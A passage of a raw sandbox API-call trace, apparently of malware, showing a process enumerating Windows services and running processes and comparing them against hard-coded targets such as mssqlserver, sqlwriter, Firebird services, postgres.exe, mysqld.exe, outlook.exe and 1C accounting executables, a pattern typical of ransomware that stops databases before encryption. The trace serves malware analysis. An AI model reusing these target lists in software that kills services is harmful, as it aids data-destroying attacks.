lpResumeHandle=0x0) returned 0 [0038.871] GetLastError () returned 0xea [0038.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x55e478 [0038.871] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x123e, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0038.872] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0038.872] lstrlenW (lpString="Appinfo") returned 7 [0038.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.872] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.872] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.872] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.872] lstrlenW (lpString="AudioSrv") returned 8 [0038.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.872] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.872] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.872] lstrlenW (lpString="BFE") returned 3 [0038.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.873] lstrlenW (lpString="CryptSvc") returned 8 [0038.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.873] lstrlenW (lpString="CscService") returned 10 [0038.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.873] lstrlenW (lpString="DcomLaunch") returned 10 [0038.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.873] lstrlenW (lpString="Dhcp") returned 4 [0038.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.873] lstrlenW (lpString="Dnscache") returned 8 [0038.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.874] lstrlenW (lpString="DPS") returned 3 [0038.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.874] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.874] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.874] lstrlenW (lpString="eventlog") returned 8 [0038.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.874] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.874] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.874] lstrlenW (lpString="EventSystem") returned 11 [0038.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.874] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.874] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.874] lstrlenW (lpString="gpsvc") returned 5 [0038.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.874] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.874] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.874] lstrlenW (lpString="iphlpsvc") returned 8 [0038.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.875] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.875] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.875] lstrlenW (lpString="LanmanServer") returned 12 [0038.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.875] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.875] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.875] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.875] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.875] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.875] lstrlenW (lpString="lmhosts") returned 7 [0038.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.875] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.875] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.875] lstrlenW (lpString="MMCSS") returned 5 [0038.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.875] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.875] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.875] lstrlenW (lpString="MpsSvc") returned 6 [0038.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.876] lstrlenW (lpString="Netman") returned 6 [0038.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.876] lstrlenW (lpString="netprofm") returned 8 [0038.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.876] lstrlenW (lpString="NlaSvc") returned 6 [0038.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.876] lstrlenW (lpString="nsi") returned 3 [0038.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.876] lstrlenW (lpString="PcaSvc") returned 6 [0038.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.876] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.876] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.877] lstrlenW (lpString="PlugPlay") returned 8 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.877] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.877] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.877] lstrlenW (lpString="Power") returned 5 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.877] lstrlenW (lpString="ProfSvc") returned 7 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.877] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.877] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.877] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.877] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.877] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.877] lstrlenW (lpString="RpcSs") returned 5 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.877] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.877] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.877] lstrlenW (lpString="SamSs") returned 5 [0038.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.878] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.878] lstrlenW (lpString="Schedule") returned 8 [0038.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.878] lstrlenW (lpString="SENS") returned 4 [0038.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.878] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.878] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.878] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.878] lstrlenW (lpString="Spooler") returned 7 [0038.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.878] lstrlenW (lpString="SysMain") returned 7 [0038.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.878] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.879] lstrlenW (lpString="Themes") returned 6 [0038.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.879] lstrlenW (lpString="TrkWks") returned 6 [0038.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.879] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.879] lstrlenW (lpString="UxSms") returned 5 [0038.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.879] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.879] lstrlenW (lpString="VSS") returned 3 [0038.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0038.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0038.879] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0038.879] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.879] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.879] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.880] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.880] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.880] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.880] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.880] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.880] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.880] lstrlenW (lpString="Winmgmt") returned 7 [0038.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.880] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.880] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.880] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.880] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0038.880] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0038.883] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.883] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.884] lstrlenW (lpString="System") returned 6 [0038.884] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.884] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.885] lstrlenW (lpString="smss.exe") returned 8 [0038.885] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.885] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.885] lstrlenW (lpString="csrss.exe") returned 9 [0038.885] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.885] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.885] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.886] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.886] lstrlenW (lpString="wininit.exe") returned 11 [0038.886] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.886] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.887] lstrlenW (lpString="csrss.exe") returned 9 [0038.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.887] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.887] lstrlenW (lpString="winlogon.exe") returned 12 [0038.887] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, 